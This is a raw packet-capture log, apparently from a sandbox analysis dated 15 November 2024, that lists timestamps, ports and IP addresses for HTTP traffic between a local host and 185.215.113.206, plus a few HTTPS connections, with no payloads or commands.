Nov 15, 2024 16:16:29.297404051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297435999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297446012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297471046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297483921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297518015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297528982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297528982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297528982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297552109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297554970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297586918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297595024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297616959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297650099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297672987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297684908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297717094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297749996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297764063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297764063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297764063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297785044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297786951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297818899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297852039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297885895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297919035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297929049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297929049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297929049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297950983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.297971964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.297985077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.298007011 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.298019886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.298074961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.301212072 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.303044081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303231001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303267002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303303957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303318024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303318024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303318024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303381920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303416014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303467035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303476095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303476095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303502083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303534985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303569078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303601980 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303602934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303602934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303602934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303602934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303641081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303673983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303703070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303718090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303734064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303750992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303766966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303783894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303790092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303802013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303813934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303817987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303833961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303848982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303853989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303853989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303867102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303881884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303898096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303915024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303930044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303936958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303936958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303936958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303936958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303937912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.303944111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303956985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303966999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.303976059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.304071903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.304071903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.304071903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.304071903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.304071903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.324686050 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.324717999 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.324791908 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.324791908 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.324810982 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.325059891 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.335015059 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.335035086 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.335067987 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.335088015 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.335201979 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.335201979 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.336361885 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.336421967 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.336429119 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.336455107 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.336973906 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.344170094 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.344191074 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.344470024 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.344504118 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.344696999 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.345032930 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.345052004 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.408745050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.408802986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.408837080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.408930063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.408930063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.422457933 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:29.446428061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446495056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446538925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446557045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446564913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446614981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446645021 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446680069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446686029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446732998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446768045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446783066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446800947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446810961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446856022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446906090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446908951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446923971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446945906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.446945906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446983099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.446988106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447035074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447082996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447115898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447118998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447118998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447149992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447170019 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447190046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447225094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447236061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447269917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447299004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447304964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447318077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447318077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447318077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447318077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447355986 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447361946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447397947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447431087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447465897 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447475910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447510004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447514057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447547913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447602987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447607040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447607040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447643042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447698116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447698116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447707891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447741032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447767019 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447773933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447812080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447818041 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447818041 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447861910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447896004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447896957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447949886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447956085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447989941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.447999954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.447999954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448024035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448060989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448080063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448112011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448144913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448154926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448154926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448179960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448187113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448232889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448266983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448306084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448314905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448321104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448321104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448350906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448385000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448404074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448404074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448404074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448416948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448435068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448473930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448524952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448533058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448580027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448596954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448615074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448649883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448657990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448657990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448683977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448702097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448718071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448761940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448766947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448781967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448815107 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448817015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448852062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448913097 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448915958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448951960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.448964119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.448982954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449033976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449054003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449068069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449104071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449111938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449126959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449176073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449208975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449208975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449209929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449233055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449256897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449290037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449302912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449302912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449341059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449377060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449402094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449429035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449462891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449479103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449479103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449515104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449553967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449559927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449559927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449605942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449609041 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449659109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449660063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449695110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449750900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449769974 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449803114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449810982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449837923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449884892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449884892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449888945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449939966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.449943066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.449991941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450002909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450026989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450058937 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450062037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450113058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450114965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450144053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450174093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450174093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450195074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450229883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450282097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450290918 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450316906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450347900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450351000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450387955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450428009 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450438023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450464964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450491905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450500965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450527906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450542927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450566053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450599909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450617075 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450633049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450666904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450684071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450707912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450720072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450740099 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450756073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450808048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450814009 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450814009 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450845003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450880051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450896978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450903893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.450932026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450964928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.450994015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451016903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451050043 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451051950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451086044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451102018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451102018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451122999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451239109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451251030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451283932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451332092 CET	49759	80	192.168.2.5	185.215.113.206
